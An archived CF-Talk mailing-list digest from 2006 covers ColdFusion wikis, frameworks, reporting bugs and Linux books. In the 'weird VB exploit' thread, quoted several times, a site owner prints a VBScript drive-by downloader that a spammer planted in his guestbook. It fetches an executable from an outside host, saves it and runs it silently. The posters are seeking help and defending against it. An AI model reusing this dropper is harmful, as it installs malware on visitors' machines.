re:

[JoeT]

Thanks to Dirk, Brad and Kevin for their help on this.
Patching the server and bringing CF up to release 7.0.2
seems to have solved the problem.

Unfortunately, the forms load so slow I am not sure we
are going to be able to use Flash forms.  Too bad.

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Re: weird VB exploit

[Denny Valliant]

On 10/27/06, Brad Wood <[EMAIL PROTECTED]> wrote:
> Yep, that's what happened.  All I did was go and view my guestbook and
> my antivirus went nuts.  What scares the heck out of me is that MS IE
> was going to let the VBS execute those files without nary a warning.
>
> [Insert obligatory FF > IE comments here from the peanut gallery]
>
> That's why I thought maybe I just didn't have all the security patches
> installed.

 Dunno.  Hardly ever use IE, cept to test stuff I develop... anyone with
IE wanna test it out and see what happens? ;)

I installed 7, but due to a horrible ms-office update error, all MS stuff
is pretty messed up.  Notepad is ok, but wordpad is hurting.  Don't
ask about anything more complex than wordpad.

The joys of systems that are unlike those on the one surving battle-
star (-er, wait, I heard another one showed up? And they LEFT their
civillians?!? It's a tough world, that one. ;)...

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Re: CF Wiki

[Denny Valliant]

On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> Has anyone here installed and used it? Wouldn't mind some first hand
> info.

I slapped Canvas up a few weeks ago... just played with it, but I enjoyed
my time (and the look and feel).

My Big Plan is to (someday) link it in with some bug/project tracking stuff,
and use the SVN java whatnots to tie into Subversion...  but sh, it's
kinda hush hush.  If anyone takes the idea and runs with it, please make
it an open source project, k?

=-P  Oh, and Ray, I've got some old patches that I meant to send you
that probably won't work now, for blogCFC, that eliminates the need for
whatever those two commands that some people on shared hosting
can't run (reading and writing to the conf file). Well, it makes them
optional.

As a side, I wish more projects were set up like fckeditor, where you
can specify external locations for style sheets and whatnot... it's a
pain to have to copy out all your changes, copy over them with a new
version, and then copy your changes back in.  Patch files make it a
little easier... but still...  if you can sorta "plug" something in, it's nice
to be able to plug in where you plug in, so to speak.
Like with model glue, I've got my "actionpacks" outside the MG core
folders, so upgrading is much easier, etc..

Just something to think about, project people.  I'm stoked these are
here for me (or us), don'cha know. =)

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Re: visual tool to display table relationships

[Denny Valliant]

On 10/27/06, Munson, Jacob <[EMAIL PROTECTED]> wrote:
> 2 comments.  1st, you can also use MS Visio for this, but I agree that

I've used it for reverse engineering a database, but haven't tried the other
way around (creating a DB from a ERD).

It worked pretty good... for what I was doing, open source alternatives
worked just as good for making a ERD.  I think Clay DB modeling or
something like that worked ah'aiet (it's an eclipse plugin).

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Re: ColdFusion (sub)report woes

[Silly Pinguin]

It's been a long time since this was posted...

I will post a reply just for the sake of those who may be looking for it in
future.

I had the similar symptoms on CF 7.0.2 - the report contain subreports
would hang, whereas they all worked fine separately.

In the end I found out that CF hangs if the resulting length of the
subreport is longer than the height of the containing section (Detail, in
my case). Suprisingly - at least to me, who is used to MS Access - the
section does not grow automatically, so it appear you have to allow enough
space for all subreport data from the beginning.

Regards,
Silly Pinguin.

>Hi,
>
>I posted this to the the Macromedia forums without luck so I'm trying
>here. From what I've read, it seems like the following scenario is
>common, and there may not be a known solution. Maybe you guys can help.
> 
>Prior to upgrading to 7.0.1, my CF reports didn't hang like they do now
>(ColdFusion 7.0.1 Cumulative Hot Fix 1 has no effect). On reports with
>subreports, I get the "Loading Report..." message for an excessive
>amount of time before receiving the connection timeout message. Doesn't
>matter what format (PDF, Excel, FlashPaper).
>
>Reports with parameters passed in and no database interactivity work
>fine, and it appears that reports based off queries work fine too. But
>when I place that otherwise functioning query driven report into another
>report (making it a subreport) and pass the parameters through, then it
>hangs. I've had to reboot the server many times today on account of
>this. 
>
>Specifically, this morning, after restarting my dev server, the report
>with the subreport timed out. I took the sub report out of the report,
>and tried to run the report with just a few parameters passed in, and it
>hung too. I then rebooted the server again, ran the report with just the
>parameters (no subreport), and it pulled up this time. Brought in the
>subreport - it timed out. Took out the subreport, ran the report without
>it, and it worked. Ran the subreport as a standalone report, and this
>time it hung with an RTF output. Changed to PDF output and it worked.
>Tried to bring it into the report again and no go.
>
>Windows Server 2003 Standard Edition, IIS 6. Also, I'm programming via
>Remote Desktop Connection, if that has any bearing. 
>
>Bottom line is that since upgrading, our subreports are tripping up what
>was once a functional report.  Also, there is one unknown: the Web
>Server's OS was upgraded during this time. Are there any issues with
>Windows Server 2003 Standard Edition and the most current build of CFR?
>
>Any help you can give is very much appreciated. I want to stop relying
>on Crystal, but now that doesn't seem possible. What settings should I
>change? What am I missing? What log files can I examine? What can I
>tweak? Thanks in advance.
>
>
>Sincerely,
> 
>Andrew

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RE: weird VB exploit

[Brad Wood]

I would have to now allow certain tags like iframe.  I use soeditor to
allow the users to format their post, so basic formatting tags would be
ok, but I agree there is no need for JS, or other tags like iframe.

~Brad

-Original Message-
From: Snake [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 6:03 PM
To: CF-Talk
Subject: RE: weird VB exploit

You should have your guestbook not allow tags, or at least not allow
javascript.

Russ 


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RE: Why Framework? Which Framework? And How I can use one?

[Snake]

Yes, use SES URLS and not querystrings, and then the stats packages will
correctly report them.

Russ 

-Original Message-
From: Munson, Jacob [mailto:[EMAIL PROTECTED] 
Sent: 27 October 2006 23:18
To: CF-Talk
Subject: RE: Why Framework? Which Framework? And How I can use one?

My biggest complaint about the CF frameworks is that they all (or is it
most?) run through one single file (Ex., index.cfm in Fusebox).  The
frameworkers will argue that that is their goal/purpose, and it's not bad.
But I personally hate that.  Especially when you look at most common stats
packages, which will tell you "You've had 1000 hits today on your site, and
it was all to index.cfm!".  Yes, I know you can get stats packages that
allow you to track urls with variables, but those are not common.

If anybody has better information on this index.cfm 'problem', please fill
me in. 

> -Original Message-
> From: Munson, Jacob [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 4:08 PM
> To: CF-Talk
> Subject: RE: Why Framework? Which Framework? And How I can use one?
> 
> http://www.cfframeworks.com/
> http://corfield.org/index.cfm?fuseaction=articles.frameworks

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RE: weird VB exploit

[Snake]

You should have your guestbook not allow tags, or at least not allow
javascript.

Russ 

-Original Message-
From: Brad Wood [mailto:[EMAIL PROTECTED] 
Sent: 27 October 2006 23:37
To: CF-Talk
Subject: RE: weird VB exploit

Yep, that's what happened.  All I did was go and view my guestbook and my
antivirus went nuts.  What scares the heck out of me is that MS IE was going
to let the VBS execute those files without nary a warning. 

[Insert obligatory FF > IE comments here from the peanut gallery]

That's why I thought maybe I just didn't have all the security patches
installed.

~Brad

-Original Message-
From: Munson, Jacob [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 5:04 PM
To: CF-Talk
Subject: RE: weird VB exploit

You lost me.  Are /you/ trying to run this VB script?  If not, why do you
care about /your/ version of IE, it's the spammers browser (or spam
tool) that matters.

Ok, after a reread, I think I understand better.  The spammer posted some
code that included an iframe.  When you load your guestbook in IE, you get a
bunch of virus warnings.  Do I have it right?

> -Original Message-
> From: Brad Wood [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 1:14 PM
> To: CF-Talk
> Subject: weird VB exploit
> 
> Hey guys, I just got some spam posts on my guestbook which include an 
> iframe.  Inside the iframe a page is called which, after calling about 
> 80 unescape JavaScript functions tries to execute the following VB 
> code.
> I realized it when my antivirus started going nuts telling me about 
> executable files it was trying run.
> 
>  
> 
> Do I need a patch for IE?  (IE 6.0 on Windows 2000 SP4) I didn't think 
> a web page could execute arbitrary files from a web server.
> 
>  
> 
> 
> 
>  On Error Resume Next
> 
>  Function h2s(s)
> 
>  Dim i
> 
>  For i = 1 To Len(s) Step 2
> 
>   h2s = h2s & Chr("&" & "H" & Mid(s, i, 2))
> 
>  Next
> 
>  End Function
> 
>  Const sClassID =
> "636C7369643A42443936433535362D363541332D313144302D393833412D3
> 0304330344
> 6433239453336"
> 
>  Const sItem_1 = "41646F64622E53747265616D"
> 
>  Const sItem_2 =
> "536372697074696E672E46696C6553797374656D4F626A656374"
> 
>  Const sItem_3 = "4D6963726F736F66742E584D4C48545450"
> 
>  Const sItem_4 = "5368656C6C2E4170706C69636174696F6E"
> 
>  sFileURL = "http://money24online.com/file.exe";
> 
>  sFileName = "thw_expl.exe"
> 
>  Set DF = Document.createElement("object")
> 
>  Call DF.SetAttribute("classid", h2s(sClassID))
> 
>  Set AdoSream = DF.CreateObject(h2s(sItem_1), vbNullString)
> 
>  Set FS = DF.CreateObject(h2s(sItem_2), vbNullString)
> 
>  Set xml_http = DF.CreateObject(h2s(sItem_3), vbNullString)
> 
>  Call xml_http.Open("GET", sFileURL, False)
> 
>  Call xml_http.Send
> 
>  AdoSream.Type = 1
> 
>  Set tmp_path = FS.GetSpecialFolder(2)
> 
>  sFilePath = FS.BuildPath(tmp_path, sFileName)
> 
>  Call AdoSream.Open
> 
>  Call AdoSream.Write(xml_http.responseBody)
> 
>  Call AdoSream.SaveToFile(sFilePath, 2)
> 
>  Call AdoSream.Close
> 
>  Set Q = df.CreateObject(h2s(sItem_4), vbNullString)
> 
>  Call Q.ShellExecute(sFilePath, vbNullString, vbNullString, "open", 0)
> 
>  
> 
>  
> 
> ~Brad
> 
> 
> 
> 





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RE: weird VB exploit

[Brad Wood]

Yep, that's what happened.  All I did was go and view my guestbook and
my antivirus went nuts.  What scares the heck out of me is that MS IE
was going to let the VBS execute those files without nary a warning. 

[Insert obligatory FF > IE comments here from the peanut gallery]

That's why I thought maybe I just didn't have all the security patches
installed.

~Brad

-Original Message-
From: Munson, Jacob [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 5:04 PM
To: CF-Talk
Subject: RE: weird VB exploit

You lost me.  Are /you/ trying to run this VB script?  If not, why do
you care about /your/ version of IE, it's the spammers browser (or spam
tool) that matters.

Ok, after a reread, I think I understand better.  The spammer posted
some code that included an iframe.  When you load your guestbook in IE,
you get a bunch of virus warnings.  Do I have it right?

> -Original Message-
> From: Brad Wood [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 1:14 PM
> To: CF-Talk
> Subject: weird VB exploit
> 
> Hey guys, I just got some spam posts on my guestbook which include an
> iframe.  Inside the iframe a page is called which, after calling about
> 80 unescape JavaScript functions tries to execute the 
> following VB code.
> I realized it when my antivirus started going nuts telling me about
> executable files it was trying run.
> 
>  
> 
> Do I need a patch for IE?  (IE 6.0 on Windows 2000 SP4) I 
> didn't think a
> web page could execute arbitrary files from a web server.
> 
>  
> 
> 
> 
>  On Error Resume Next
> 
>  Function h2s(s)
> 
>  Dim i
> 
>  For i = 1 To Len(s) Step 2
> 
>   h2s = h2s & Chr("&" & "H" & Mid(s, i, 2))
> 
>  Next
> 
>  End Function
> 
>  Const sClassID =
> "636C7369643A42443936433535362D363541332D313144302D393833412D3
> 0304330344
> 6433239453336"
> 
>  Const sItem_1 = "41646F64622E53747265616D"
> 
>  Const sItem_2 = 
> "536372697074696E672E46696C6553797374656D4F626A656374"
> 
>  Const sItem_3 = "4D6963726F736F66742E584D4C48545450"
> 
>  Const sItem_4 = "5368656C6C2E4170706C69636174696F6E"
> 
>  sFileURL = "http://money24online.com/file.exe";
> 
>  sFileName = "thw_expl.exe"
> 
>  Set DF = Document.createElement("object")
> 
>  Call DF.SetAttribute("classid", h2s(sClassID))
> 
>  Set AdoSream = DF.CreateObject(h2s(sItem_1), vbNullString)
> 
>  Set FS = DF.CreateObject(h2s(sItem_2), vbNullString)
> 
>  Set xml_http = DF.CreateObject(h2s(sItem_3), vbNullString)
> 
>  Call xml_http.Open("GET", sFileURL, False)
> 
>  Call xml_http.Send
> 
>  AdoSream.Type = 1
> 
>  Set tmp_path = FS.GetSpecialFolder(2)
> 
>  sFilePath = FS.BuildPath(tmp_path, sFileName)
> 
>  Call AdoSream.Open
> 
>  Call AdoSream.Write(xml_http.responseBody)
> 
>  Call AdoSream.SaveToFile(sFilePath, 2)
> 
>  Call AdoSream.Close
> 
>  Set Q = df.CreateObject(h2s(sItem_4), vbNullString)
> 
>  Call Q.ShellExecute(sFilePath, vbNullString, vbNullString, "open", 0)
> 
>  
> 
>  
> 
> ~Brad
> 
> 
> 
> 



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Re: OT: Good Linux books

[Oğuz Demirkapı]

If you are looking for a stable and reliable Linux version for your
server, I would definitely suggest Debian.

http://howtoforge.com/perfect_setup_debian_sarge


If you are new and want to try and learn Linux and test CF on a
Linux box, go with Ubuntu.

http://howtoforge.com/perfect_setup_ubuntu_6.10


If you are looking for online documentation and quick tutorials,
there are tons of it but you can also check http://howtoforge.com

IMHO


Oğuz Demirkapı



Eric Haskins wrote:
> We run some of our Enterprise things on RH 3 & 4 and we are moving more
> over. Best way I found to learn was doing it grab an old pc hit
> centos.orgdownload the ISO's and hammer away.  Many of your questions
> can and will be
> answered via google.com
>
> As for books I am partial to the O'Rielly books
> http://www.amazon.com/Linux-Nutshell-Fourth-Ellen-Siever/dp/0596004826/sr=8-4/qid=1161986636/ref=pd_bbs_4/104-8828353-1476710?ie=UTF8&s=books
>
> They also have a Linux Sysadmin book I liked.
>
> If you have any questions dont hesitate to ask!!
>
> Eric Haskins
> Web Systems Developer
>
>
> On 10/26/06, Doug Brown <[EMAIL PROTECTED]> wrote:
>   
>> Hi all..There is so many books out there, I thought I would ask the group
>> if anyone can recommend a good one. I have never used Linux before and
>> figured a good book can help me get started. I would like to run a web
>> server off of it. P.S would you guys say that Linux is good for running
>> enterprise level web application?
>>
>>
>>
>> Thanks
>>
>> doug
>>
>>
>> 
>
> 

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RE: Why Framework? Which Framework? And How I can use one?

[Munson, Jacob]

My biggest complaint about the CF frameworks is that they all (or is it
most?) run through one single file (Ex., index.cfm in Fusebox).  The
frameworkers will argue that that is their goal/purpose, and it's not
bad.  But I personally hate that.  Especially when you look at most
common stats packages, which will tell you "You've had 1000 hits today
on your site, and it was all to index.cfm!".  Yes, I know you can get
stats packages that allow you to track urls with variables, but those
are not common.

If anybody has better information on this index.cfm 'problem', please
fill me in. 

> -Original Message-
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> Sent: Friday, October 27, 2006 4:08 PM
> To: CF-Talk
> Subject: RE: Why Framework? Which Framework? And How I can use one?
> 
> http://www.cfframeworks.com/ 
> http://corfield.org/index.cfm?fuseaction=articles.frameworks

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RE: Why Framework? Which Framework? And How I can use one?

[Munson, Jacob]

http://www.cfframeworks.com/ 
http://corfield.org/index.cfm?fuseaction=articles.frameworks

> -Original Message-
> From: Ali Majdzadeh [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 6:35 AM
> To: CF-Talk
> Subject: Why Framework? Which Framework? And How I can use one?
> 
> Hi: I read some posts about CF Frameworks here and learned a 
> lot but what I think many new CF users (including me) need to 
> have is a complete and reliable resource for these questions. 
> 
> 1. Why we should use a framework for CF while CF7 is 
> framework itself? What are the advantages? Should I learn 
> more than CF, if I want to use a Framework?
> 
> 2. Which Framework meets my needs? I read an article written 
> by Steve Bryant and quote one of his sentences "The real 
> issue is finding the framework that best meets your needs."  
> For a novice surely an easy to understand Framework with 
> basic but useful features should do best. 
> 
> 3. Which one has a good document/tutorial/book/online 
> community? For learning coldfusion I know Ben Forta's books 
> are great, Lynda.com has some movie tutorials that help a lot 
> and CF-Talk is the best community for asking questions. But 
> what about Frameworks?
> 
> Please experts help us (the novice CF users) to find 
> better/easier ways to enjoy the beauty of CF.

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Re: OT: Good Linux books

[Eric Haskins]

We run some of our Enterprise things on RH 3 & 4 and we are moving more
over. Best way I found to learn was doing it grab an old pc hit
centos.orgdownload the ISO's and hammer away.  Many of your questions
can and will be
answered via google.com

As for books I am partial to the O'Rielly books
http://www.amazon.com/Linux-Nutshell-Fourth-Ellen-Siever/dp/0596004826/sr=8-4/qid=1161986636/ref=pd_bbs_4/104-8828353-1476710?ie=UTF8&s=books

They also have a Linux Sysadmin book I liked.

If you have any questions dont hesitate to ask!!

Eric Haskins
Web Systems Developer


On 10/26/06, Doug Brown <[EMAIL PROTECTED]> wrote:
>
> Hi all..There is so many books out there, I thought I would ask the group
> if anyone can recommend a good one. I have never used Linux before and
> figured a good book can help me get started. I would like to run a web
> server off of it. P.S would you guys say that Linux is good for running
> enterprise level web application?
>
>
>
> Thanks
>
> doug
>
> 

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RE: weird VB exploit

[Munson, Jacob]

You lost me.  Are /you/ trying to run this VB script?  If not, why do
you care about /your/ version of IE, it's the spammers browser (or spam
tool) that matters.

Ok, after a reread, I think I understand better.  The spammer posted
some code that included an iframe.  When you load your guestbook in IE,
you get a bunch of virus warnings.  Do I have it right?

> -Original Message-
> From: Brad Wood [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 1:14 PM
> To: CF-Talk
> Subject: weird VB exploit
> 
> Hey guys, I just got some spam posts on my guestbook which include an
> iframe.  Inside the iframe a page is called which, after calling about
> 80 unescape JavaScript functions tries to execute the 
> following VB code.
> I realized it when my antivirus started going nuts telling me about
> executable files it was trying run.
> 
>  
> 
> Do I need a patch for IE?  (IE 6.0 on Windows 2000 SP4) I 
> didn't think a
> web page could execute arbitrary files from a web server.
> 
>  
> 
> 
> 
>  On Error Resume Next
> 
>  Function h2s(s)
> 
>  Dim i
> 
>  For i = 1 To Len(s) Step 2
> 
>   h2s = h2s & Chr("&" & "H" & Mid(s, i, 2))
> 
>  Next
> 
>  End Function
> 
>  Const sClassID =
> "636C7369643A42443936433535362D363541332D313144302D393833412D3
> 0304330344
> 6433239453336"
> 
>  Const sItem_1 = "41646F64622E53747265616D"
> 
>  Const sItem_2 = 
> "536372697074696E672E46696C6553797374656D4F626A656374"
> 
>  Const sItem_3 = "4D6963726F736F66742E584D4C48545450"
> 
>  Const sItem_4 = "5368656C6C2E4170706C69636174696F6E"
> 
>  sFileURL = "http://money24online.com/file.exe";
> 
>  sFileName = "thw_expl.exe"
> 
>  Set DF = Document.createElement("object")
> 
>  Call DF.SetAttribute("classid", h2s(sClassID))
> 
>  Set AdoSream = DF.CreateObject(h2s(sItem_1), vbNullString)
> 
>  Set FS = DF.CreateObject(h2s(sItem_2), vbNullString)
> 
>  Set xml_http = DF.CreateObject(h2s(sItem_3), vbNullString)
> 
>  Call xml_http.Open("GET", sFileURL, False)
> 
>  Call xml_http.Send
> 
>  AdoSream.Type = 1
> 
>  Set tmp_path = FS.GetSpecialFolder(2)
> 
>  sFilePath = FS.BuildPath(tmp_path, sFileName)
> 
>  Call AdoSream.Open
> 
>  Call AdoSream.Write(xml_http.responseBody)
> 
>  Call AdoSream.SaveToFile(sFilePath, 2)
> 
>  Call AdoSream.Close
> 
>  Set Q = df.CreateObject(h2s(sItem_4), vbNullString)
> 
>  Call Q.ShellExecute(sFilePath, vbNullString, vbNullString, "open", 0)
> 
>  
> 
>  
> 
> ~Brad
> 
> 
> 
> 

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Re: MG:U Breeze Preso Tonight

[Mary Jo Sminkey]

>Guys (and gals), I apologize. It seems a lot of you were trying to RSVP 
>in within an hour of the preso. 

Actually, I sent in my RSVP at least 3-4 hours prior to the meeting. But no 
matter, I'll check out the recording, thanks!

--- Mary Jo


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Re: Image CFC "Image Object"

[Chris Peters]

I figured out that objImage needs to be of type java.awt.image.BufferedImage.

If you are given an image via the CF "binary" type, you need to do this:

1. Write the binary value to a temp file with .
2. Use a java.io.File instance to read the new file.
3. Feed the instance of java.io.File to an instance of javax.imageio.ImageIO.

You then can pass the instance of javax.imageio.ImageIO as the objImage 
parameter in image.cfc's methods.

Whew!

- Chris Peters
www.chrispetersweb.com

> I'm using Rick Root's Image CFC. One of the arguments for many of the 
> CFC's methods is called "objImage." This is described in the docs as 
> an "image object," but it doesn't show any examples of its usage, and 
> it doesn't describe what data type this image object should be. Does 
> anyone know?
> 
> I assume it is some sort of Java type, but I'm not sure what I'd have 
> to do to feed data to that type from CF, or even what that type is.
> 
> Thanks guys!
> 
> - Chris Peters
> www.chrispetersweb.
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RE: CF Wiki

[Andy Matthews]

A guy at my company has...he said he liked it.



-Original Message-
From: Jason Manaigre [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 4:00 PM
To: CF-Talk
Subject: RE: CF Wiki


Has anyone here installed and used it? Wouldn't mind some first hand
info.


Jason E.J. Manaigre
Web Site Development Coordinator | Web God

International Institute for Sustainable Development
Winnipeg, Manitoba, Canada
Main Web site: http://www.iisd.org
Email: mailto:[EMAIL PROTECTED] | Phone: 1.204.958.7744

-Original Message-
From: Andy Matthews [mailto:[EMAIL PROTECTED]
Sent: October 27, 2006 2:06 PM
To: CF-Talk
Subject: RE: CF Wiki

Ray Camden has a CF Wiki called Canvas:
http://ray.camdenfamily.com/projects/canvas/



-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 1:42 PM
To: CF-Talk
Subject: RE: CF Wiki


Also depends on what you need the wiki for.  You can install trac, which
has
SVN integration, bugtacking/ticketing system and wiki all in one.  It's
no
written in CF (python), but I've been able to do small changes to the
code
with no problems and it's fairly customizable without doing any code
changes.

Russ
> -Original Message-
> From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 2:36 PM
> To: CF-Talk
> Subject: Re: CF Wiki
>
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Hi everyone, I'm not being lazy, searching for wiki brings up tones
of
> > actual wikis, what I want to know is there a good wiki software
package
> > for CF freeware or commercial?
> >
> > At work here, we're all MS so far, but the boss wants to explore
open
> > source. I'd rather explore CF.
>
> There's no reason you can't do both.  There are a lot of CF open
> source projects - including at least one wiki
> (http://canvas.riaforge.org/).
>
>







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RE: CF Wiki

[Russ]

If you have a intel core 2 duo processor and enough ram, you can always run
linux in a virtual machine... with Core 2 Duo's Intel Virtualization
Extensions, the VM instance doesn't take up any extra CPU that it needs to,
and linux can be made to run well on as little as 256mb of ram. 

Russ

> -Original Message-
> From: Jason Manaigre [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 4:59 PM
> To: CF-Talk
> Subject: RE: CF Wiki
> 
> Oh I know it could, but that won't fly with IT here... Heh
> 
> Would have to be a separate box.
> 
> 
> Jason E.J. Manaigre
> Web Site Development Coordinator | Web God
> 
> International Institute for Sustainable Development
> Winnipeg, Manitoba, Canada
> Main Web site: http://www.iisd.org
> Email: mailto:[EMAIL PROTECTED] | Phone: 1.204.958.7744
> 
> -Original Message-
> From: Munson, Jacob [mailto:[EMAIL PROTECTED]
> Sent: October 27, 2006 3:40 PM
> To: CF-Talk
> Subject: RE: CF Wiki
> 
> Aah, you beat me too it Barney.  Even though I think you /should/
> install a *nix box, even for running CF (I'm going to run and hide after
> that comment!)...it's true that you can put PHP on Windows.
> 
> > -Original Message-
> > From: Barney Boisvert [mailto:[EMAIL PROTECTED]
> > Sent: Friday, October 27, 2006 1:10 PM
> >
> > You can install PHP on windows machines.  You don't need *nix
> > to do it.
> >
> > On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > > Thanks, that's what I was hoping for, I'd rather not build
> > a *nix box
> > > for a PHP based wiki when we could just install CF on the MS box.
> 
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Re: OT: Good Linux books

[Jordan Michaels]

Doug Brown wrote:
> Hi all..There is so many books out there, I thought I would ask the group if 
> anyone can recommend a good one. I have never used Linux before and figured a 
> good book can help me get started. I would like to run a web server off of 
> it. P.S would you guys say that Linux is good for running enterprise level 
> web application?
> 
> 
> 
> Thanks
> 
> doug

It's not a book, but I really appreciated linuxcommand.org. The command 
line in linux is where a lot of the power of Linux comes from. If you 
understand how to use the command line, then you're most of the way to 
becoming a good Linux system administrator. (The other half is 
understanding the servers you're working with, how you want them to 
work, etc.)

As someone who uses Linux exclusively for everything, I'd highly 
recommend that web site.

-- 
Warm regards,
Jordan Michaels
Vivio Technologies
http://www.viviotech.net/
Blue Dragon Alliance Member
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RE: CF Wiki

[Jason Manaigre]

Has anyone here installed and used it? Wouldn't mind some first hand
info. 


Jason E.J. Manaigre 
Web Site Development Coordinator | Web God 
 
International Institute for Sustainable Development 
Winnipeg, Manitoba, Canada 
Main Web site: http://www.iisd.org
Email: mailto:[EMAIL PROTECTED] | Phone: 1.204.958.7744 

-Original Message-
From: Andy Matthews [mailto:[EMAIL PROTECTED] 
Sent: October 27, 2006 2:06 PM
To: CF-Talk
Subject: RE: CF Wiki

Ray Camden has a CF Wiki called Canvas:
http://ray.camdenfamily.com/projects/canvas/



-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 1:42 PM
To: CF-Talk
Subject: RE: CF Wiki


Also depends on what you need the wiki for.  You can install trac, which
has
SVN integration, bugtacking/ticketing system and wiki all in one.  It's
no
written in CF (python), but I've been able to do small changes to the
code
with no problems and it's fairly customizable without doing any code
changes.

Russ
> -Original Message-
> From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 2:36 PM
> To: CF-Talk
> Subject: Re: CF Wiki
>
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Hi everyone, I'm not being lazy, searching for wiki brings up tones
of
> > actual wikis, what I want to know is there a good wiki software
package
> > for CF freeware or commercial?
> >
> > At work here, we're all MS so far, but the boss wants to explore
open
> > source. I'd rather explore CF.
>
> There's no reason you can't do both.  There are a lot of CF open
> source projects - including at least one wiki
> (http://canvas.riaforge.org/).
>
>





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RE: code beautifier for ColdFusion

[Jason Manaigre]

Thanks Jim, I'll see what I can find. 


Jason E.J. Manaigre 
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Winnipeg, Manitoba, Canada 
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Email: mailto:[EMAIL PROTECTED] | Phone: 1.204.958.7744 

-Original Message-
From: Jim Wright [mailto:[EMAIL PROTECTED] 
Sent: October 27, 2006 2:17 PM
To: CF-Talk
Subject: Re: code beautifier for ColdFusion

Jason Manaigre wrote:
> Hi guys, I could never get tidy to work properly with CF files, does
> anyone have a config file to share?
> 
> I use tidy all the time, its fantastic. 
> 

I was curious to see if HS had a config file...and the file are kept
in...
C:\Program Files\Macromedia\HomeSite+\Extensions\CodeSweepers
but the one for tidy is just for HTML...there are also config files for 
the CF codesweeper, but they are .vtm files, and don't seem to 
correspond to standard tidy commands, so perhaps HS is using something 
other than tidy for the CF sweeping.  I would search the tidy mailing 
list archives and see if someone has a good one...
http://lists.w3.org/Archives/Public/html-tidy/






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RE: CF Wiki

[Jason Manaigre]

Oh I know it could, but that won't fly with IT here... Heh

Would have to be a separate box. 


Jason E.J. Manaigre 
Web Site Development Coordinator | Web God 
 
International Institute for Sustainable Development 
Winnipeg, Manitoba, Canada 
Main Web site: http://www.iisd.org
Email: mailto:[EMAIL PROTECTED] | Phone: 1.204.958.7744 

-Original Message-
From: Munson, Jacob [mailto:[EMAIL PROTECTED] 
Sent: October 27, 2006 3:40 PM
To: CF-Talk
Subject: RE: CF Wiki

Aah, you beat me too it Barney.  Even though I think you /should/
install a *nix box, even for running CF (I'm going to run and hide after
that comment!)...it's true that you can put PHP on Windows. 

> -Original Message-
> From: Barney Boisvert [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 1:10 PM
> 
> You can install PHP on windows machines.  You don't need *nix 
> to do it.
> 
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Thanks, that's what I was hoping for, I'd rather not build 
> a *nix box
> > for a PHP based wiki when we could just install CF on the MS box.

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RE: visual tool to display table relationships

[Munson, Jacob]

2 comments.  1st, you can also use MS Visio for this, but I agree that
Enterprise Manager's database diagrams are usually adequate (I've never
used Visio for this, but I hear it's pretty cool).  2nd, these tools
work a lot better if you have primary/foreign key's and with
constraints.  The tool will look for that and use your constraints to
map the DB.

> -Original Message-
> From: Brad Wood [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 9:10 AM
> To: CF-Talk
> Subject: RE: visual tool to display table relationships
> 
> Have you tried simply making your relational diagrams with Enterprise
> Manager.  I don't know if you can get much better than that since it
> comes with SQL server
> 
> ~Brad
> 
> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED]
> 
> Sent: Friday, October 27, 2006 10:07 AM
> To: CF-Talk
> Subject: visual tool to display table relationships
> 
> I'm so sorry for posting this here, but I know there are a 
> lot of sharp
> cf programmers that
> would have an opinion on this question.
> 
> I'm looking for a free tool that will help to show me my tables and
> their relationships. 
> (SQL Server 2000)

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RE: CF Wiki

[Munson, Jacob]

Aah, you beat me too it Barney.  Even though I think you /should/
install a *nix box, even for running CF (I'm going to run and hide after
that comment!)...it's true that you can put PHP on Windows. 

> -Original Message-
> From: Barney Boisvert [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 1:10 PM
> 
> You can install PHP on windows machines.  You don't need *nix 
> to do it.
> 
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Thanks, that's what I was hoping for, I'd rather not build 
> a *nix box
> > for a PHP based wiki when we could just install CF on the MS box.

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Re: Closing single CF tags like XML/XHTML

[Barney Boisvert]

There is no official statement.  As you point out, using a self-close
for tags without bodies helps IDEs do their job better, and it also
makes reading code easier (because you know whether there's a closing
tag to come or not - CFHTTP is a perfect example).

The only place that it makes a difference is with custom tags.  A
self-close is semantically equivalent to an open tag followed
immediately by a close tag, so your custom tags will run for each
execution mode. If you don't use a self close (nor a closing tag),
your custom tag will only run for the "start" execution mode.
However, best practices say your custom tags should eliminate the
distinction (either by ignoring an unneeded closting tag or by
requiring one to be present) in the implementation.

If your fellow developer insists on removing them, you need to have a
talk.  Senseless reformatting of source is a really bad habit to get
into, if for no other reason than it makes for a lot of collisions in
source control.  Even better would be coding standards that everyone
adheres to, but at the very least, "write your code how you want, but
don't reformat other's code."

cheers,
barneyb

On 10/27/06, Jeff Guillaume <[EMAIL PROTECTED]> wrote:
> Can anybody direct me to an official statement of sorts recommending that CF 
> developers start closing single tags like  with an ending slash a 
> la XML (like I just did?
>
> I've been doing it for a long while now, and I can't remember when support 
> was first added (MX 6?) but I seem to remember thinking it was recommended 
> and would later be required...  Am I on crack?
>
> In any case, what do you prefer?  I absolutely use trailing slashes on every 
> CF tag that doesn't have its own closing, such as:
>
